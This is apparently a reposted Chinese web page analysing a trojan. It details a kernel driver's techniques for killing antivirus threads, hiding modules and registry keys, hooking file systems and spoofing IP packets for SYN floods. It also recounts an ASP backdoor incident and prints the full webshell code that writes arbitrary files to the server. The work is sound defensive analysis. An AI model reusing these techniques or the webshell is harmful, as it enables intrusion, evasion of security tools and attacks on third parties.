在NdisHooked的情况下,创建socket(AF_INET,SOCK_RAW,IPPROTO_IP)直接填充IP包,首先发送TCP_SYN建立大量半连接;然后发送UDP包,UDP数据为伪造的源IP,会被NIDS MSendHandlerHooked用来作为IP头的Source IP,形成IP欺骗,隐藏自己。仍然由上述InnocenceBloodControlBlock结构控制攻击。

B. 创建socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP),进行由DNSQryControlBlock控制进行的DNS解析,有三种形式:使用DNSQryControlBlock.DestIpAddrArray数组中的地址作为DNS服务器地址解析DNSQryControlBlock.szIP;使用DNSQryControlBlock.DestIpAddrArray数组中的地址作为DNS服务器地址解析一系列www.xxxx.[DNSQryControlBlock.szInfoComNetOrgetc]域名;使用本主机的DNS解析一系列www.xxxx.[DNSQryControlBlock.szInfoComNetOrgetc]域名。

Typedef struct _tagDNSQryControlBlock //size is 0xC0.

{

} DNSQryControlBlock;

C.创建线程,解析一系列缓冲区,搜索其中“javascript”、“mailto”、http://等关键字,找邮箱地址和域名,发送到HrefControlBlock.szIP服务器。具体用途不明,HrefControlBlock结构暂时不明。

扩展:无盘系统 木马样本 / 木马样本 / 木马样本下载

Typedef struct _tagHrefControlBlock //size is 0x9C.

{

+0x00 CHAR szIp[0x40];

………

} HrefControlBlock;

14删除EXE生成的用于记录其进程ID的system32\nnnniiii.tmp文件(当病毒在杀软EXE中运行时,会生成此文件,以记录杀软ID,是iiii四位);

15进入死循环,500ms周期性执行.

如果有新的infotmp.txt生成,说明有新的实例运行在exe中,则读取信息,然后删除Infotmp.txt文件;针对AV列表,枚举进程检测这些AV是否存在,若存在,则发送IOCTL=0x222418和其进程ID,由驱动结束杀软内所有线程。

以注入DLL形式的执行流程

解析传送进的文件名字符串参数,文件名应该是nnnniiii.tmp形式,其中iiii是杀软或者Explorer.exe的进程ID(该文件由在EXE中运行的实例产生,在EXE中可能有主线程和普通线程两种地位形式?);与本进程ID号比较,若匹配则执行以下部分,不匹配则ExitThread退出线程。

1 创建Event {00C92B91-763E-4a4e-8404-29ED1850790B},标记为hEvent790B,设置事件;

2 如果没有poxity设备,则安装驱动服务;

3 如果文件Infotmp.txt不存在,则自己检测系统版本和杀软信息;

4 如果检测到微点杀毒MPSVC.exe,则发送IOCTL=0x222407 Inline hook SSDT;然后枚举进程得到进程ID,发送IOCTL=0x222418由驱动使用PspTerminateThreadByPointer结束微点。

5 以前面所述相同的替换一系列系统服务的形式,运行病毒。

最后结束执行。

【注】最后为什么会是如下形式:

UnPackEr:004021B9push0

UnPackEr:004021BBpush0

UnPackEr:004021BDpushds:hModule------------+

UnPackEr:004021C3pushds:ExitThread |

UnPackEr:004021C9 push ds:hModule |

UnPackEr:004021CF push ds:FreeLibrary |

UnPackEr:004021D5 push ds:hModule |

UnPackEr:004021DB push ds:FreeLibrary |

UnPackEr:004021E1 push ds:hModule |

UnPackEr:004021E7 push ds:FreeLibrary |

UnPackEr:004021ED push ds:hModule |

UnPackEr:004021F3 push ds:FreeLibrary |

UnPackEr:004021F9 push ds:hModule |

UnPackEr:004021FF push ds:FreeLibrary |

UnPackEr:00402205 push ds:hModule |

UnPackEr:0040220B push ds:FreeLibrary |

UnPackEr:00402211 push ds:hModule |

UnPackEr:00402217 push ds:FreeLibrary |

UnPackEr:0040221D push ds:hModule |

UnPackEr:00402223 push ds:FreeLibrary |

UnPackEr:00402229pushds:hModule |

UnPackEr:0040222Fpushds:FreeLibrary |

UnPackEr:00402235pushds:FreeLibrary <------+

UnPackEr:0040223B retn

难道是push 0 push 0 调整了堆栈,从而调整了ExitThread返回地址,能接着下面的代码执行. 多次FreeLibrary是安全设计,还是hModule前部分已经被清空,故意引起程序出错?可能是没有FreeLibrary,不可能会是引起程序出错。

Poxity设备驱动:

由bmw.exe释放出来,放在system32目录下,名字是nnnnnnnn.sys(nnnnnnnn是8位十六进制随机数)。主要IOCTL和功能描述如下:

0x222407:

传入MmGetSystemRoutineAddress在内核空间的地址,用于获取内核导出符号(函数和变量)的地址,符号列表IoDriverObjectType,ZwCreateKey,ZwSetValueKey,ObReferenceObjectByName,PsLookupProcessByProcessId,ZwOpenKey;

传入以下函数地址并保存前0x0C个字节Opcode,这些函数会被inline hook,保存的Opcode用于恢复。函数列表MmFlushImageSection,KeInitializeApc,KeInsertQueueApc,KiInsertQueueApc,MmFlushImageSection,IoGetAttachedDevice;

传入不同操作系统版本下ThreadListHeadOffsetInEPROCESS和ThreadListEntryOffsetInETHREAD,用于枚举目标进程的线程;

传出KeServiceDescriptorTable.ServiceTableBase(KiServiceTable)和KeServiceDescriptorTable.NumberOfServices,用于定位文件ntkrnlpa.exe中KiServiceTable VA,恢复内存中的SSDT;

0x22240B:

使用传入的从内核文件读取的修正为内核地址空间的KiServiceTable恢复SSDT;

0x22240F:

隐藏DLL module,主要分三部分。

1 将模块LDR_MODULE从EPROCESS->PEB->PEB_LDR_DATA的三个ModuleList中脱链;

2 遍历EPROCESS->VadRoot树,找到模块对应的节点,置零该节点的ControlArea->FileName;

3 清零模块加载后的包括文件头在内的前0x2C0字节;

0x222413:

Hook\\FileSystem\\NTFS或\\FileSystem\\FATFS文件系统驱动。具体是通过ObReferenceObjectByName()得到FsDriverObject,Hook其IRP_MJ_CARETE和IRP_MJ_DIRECTORY_CONTROL Dispatch例程,禁止除自身线程以外的其他线程访问system32目录下的驱动;

0x222417:

返回本驱动文件名;

0x222418:

KillAntiVirus功能,杀死杀软进程内所有线程。

通过传入的杀软进程Id使用PsLookupProcessByProcessId得到EPROCESS结构,遍历ThreadListHead 链表,通过ThreadListEntryOffsetInETHREAD偏移计算ETHREAD地址;然后使用保存的Opcode比较判断PspTermanateThreadByPointer,KeInsertQueueApc,KiInsertQueueApc是否被Hook,若被inline hook,则恢复;然后调用PspTermanateThreadByPointer结束线程。

扩展:无盘系统 木马样本 / 木马样本 / 木马样本下载

0x22241C:

设置注册表键值;

0x222420:

使用已有的Hook注册表pfGetCellRoutine方法隐藏注册表项,主要用于隐藏病毒Service DLL注册表项。

具体是调用ZwOpenKey打开注册表项hKey,使用ObReferenceObjectByHandle(hKey)得到PCM_KEY_BODY,进而从其KeyControlBlock字段中得到KeyCell和KeyHive字段,Hook KeyHive的GetCellRoutine;维护一个Service DLL注册表项列表,每次将要打开注册表项和列表中项比较,匹配则隐藏。

0x222424:

Inline hook KeInitializeApc,辅以NormalContext用于阻止TerminateThread Notify。

具体做法是应用程序调用TerminateThread时将Parameter设置为0xE1F27272标识,内核会分配KAPC,并将KAPC.NormalContext设置为0xE1F27272;执行到Hook代码时,比较进程是否是病毒自身进程和标识是否是0xE1F27272,若是则设置KAPC.Inserted为1,阻止KAPC插入APC队列,从而KernelRoutine不被回调,系统不被通知。

0x222428:

删除设备引用名,恢复系统;

0x22242C:

Inline Hook TDI tcpip.sys IRP_MJ_INTERNAL_DEVICE_CONTROL:TDI_SEND_DATAGRAM;

根据对其缓冲区的操作看,缓冲区中应该是DNS查询或应答的信息,对缓冲器中内容做运算,其值在阻止域名运算值列表中比对,用于阻止某些网站的域名查询。

但是缓冲区中DNS协议的16位标志字段是0x7080,正常DNS查询应该是0x0100,所以起不到阻止作用,好像是bug。

0x222430:

Inline hook MmFlushImageSection和IoGetAttachedDevice,保存FileSystem驱动的MajorFunction表以用于恢复。

MmFlushImageSectionHook-如果FileSystemDriver的MajorFunction被Hook过(病毒会Hook IRP_MJ_CARETE和IRP_MJ_DIRECTORY_CONTROL两个Dispatch),则首先用保存的备份恢复MajorFunction表;然后当访问线程是病毒自身且为MmFlushForDelete时,返回TRUE,强力删除文件;其余线程正常;

IoGetAttachedDeviceHook-当访问线程是病毒自身,且设备驱动是FileSystemDriver时,不返回最顶层设备,而是直接返回底层\\FileSystem\\NTFS或\\FileSystem\\FASTFAT设备;

0x222434:

Inline Hook NdisMSendHandler,主要功能是填充RawIP分组,做源IP欺骗;

NdisMSendHandlerHook的主要功能首先检测数据包是不是IP数据包(Version-Length:0x45)和Protocol字段是否为0(应用程序创建RawIP+IPROTO_IP时,Protocol为0);

若是,则检测第一个包最后双字是不是0x01010402(TCP options),若是,则将IP报头Protocol字段设置为TCP(0x06);若不是0x01010402,则强制设置协议类型为UDP,并且设置source IP为包最后双字,然后重新计算IP头校验和,交原来MSendHandler发送。

流程图从略

因为0x01010402(TCP options)主要是出现在TCP建立连接的三次握手阶段,所以除TCP_SYN报文外,除非TCP发送字节等于SOURCE IPADDR才会正确表明本机,但仍然被修改为UDP数据报。可以用于TCP半连接打开端口检测。

配合应用程序使用SOCK_RAWIP+IPROTO_IP socket,一方面半连接,一方面隐藏源地址,TCP报文变UDP数据报,做IP Blood攻击。

0x2A0000:

没有相关实现。

参考书籍/文档

<PE File Format>

<TCPIP Stack>

<Windows驱动程序模型 - WDM>

<I386 Architecture>

<I386汇编语言>

<Option ROM Expansion Card BIOSInformation>

<IME/PEB/APC/SSDT/NDIS/VAD/MBR/DBR>

扩展:无盘系统 木马样本 / 木马样本 / 木马样本下载

四 : 一次被放木马的分析总结

2007年四月四日,

下午听含笑说,我的站又被人上传ASP木马。被服务器的杀毒软件截杀了。

附记录:2007-4-4 0:25:43 ×:websitew**bn***028_cnwebhtmlclassadfoot.asp >>> vbscript.encode [%@language=vbscript.encode%% use] [成功删除文件]

 

让他查看了iis日志,发现有人通过访问我的一个名为广告管理文件,上传了asp木马。

在四日前,我的网站曾经被人在根目录下上传过一个名为foot.asp的文件,这个文件是“海洋顶端网2006火狐专用版”的asp木马,登录ip为:58.59.221.10 是广西南宁市的IP地址。
不排除有人用代理来访问后门文件。

由于当时网站没有开启iis日志,所以没有办法检测文件是通过什么形式上传的。今天通过日志看看出,在2007年2月8号在我的一个广告管理文件里面加入了一句话木马代码。

代码如下:<% if Request("id")="1" then
if Request("creat")="yes" then
dim allen,creat,text,thisline,paths
Set fs = CreateObject("Scripting.FileSystemObject")
Set outfile=fs.CreateTextFile(server.mappath(Request("path")))
outfile.WriteLine Request("text")
Response.write "succeed!"
end if
Response.write "<form method='POST' action='"&Request.ServerVariables("URL")&"?id=1&creat=yes'>"
Response.write "<textarea name='text'>"&thisline&"</textarea><br>"
Response.write "<input type='text' name='path' value='"&Request("path")&"'>"
Response.write "<input name='submit' type='submit' value='ok' ></form>"
end if%>

 

检测了所有网站程序均未发现其他漏洞,一直对这个代码是怎么插入的郁闷。经和技术员一下午讨论,得出结论是,很有可能是被黑客利用漏洞暴力破解。正在为这事愁的时候同时搜索出一个网站的页面和我们网站频道的“折扣联盟”频道一样。

第一个念头就是网站被人仿了,第二就是这两天网站被放上后门程序源码被泄露。

现在作为证据记录如下:下面我开启屏幕录像专家v6做一下记录。

我们被仿网站的界面为:http://xiaofei.028.cn  这个为我们网站的界面。看我演示。网站速度有点慢,我刷新一下。有两个广告图片没显示。现在看下仿造我们网站的地址。他的地址是http://xiaofei.0826e.com  看这里的电话号码被修改为他们的电话,还有这里的css样式没有调试好。打开我们的网站对比一下。。。。。甚至在“商家人气排行榜”这个地方的商家名称都没有改变。包括我们的icp备案号都没有改变。我们的备案号为蜀ICP证 06008500 看他们的。。。。

目前我们已就此事交由我们的律师处理,证据收集中。。。

本文标题:木马分析-一次短信木马追踪与分析
本文地址: http://www.61k.com/1076438.html

61阅读| 精彩专题| 最新文章| 热门文章| 苏ICP备13036349号-1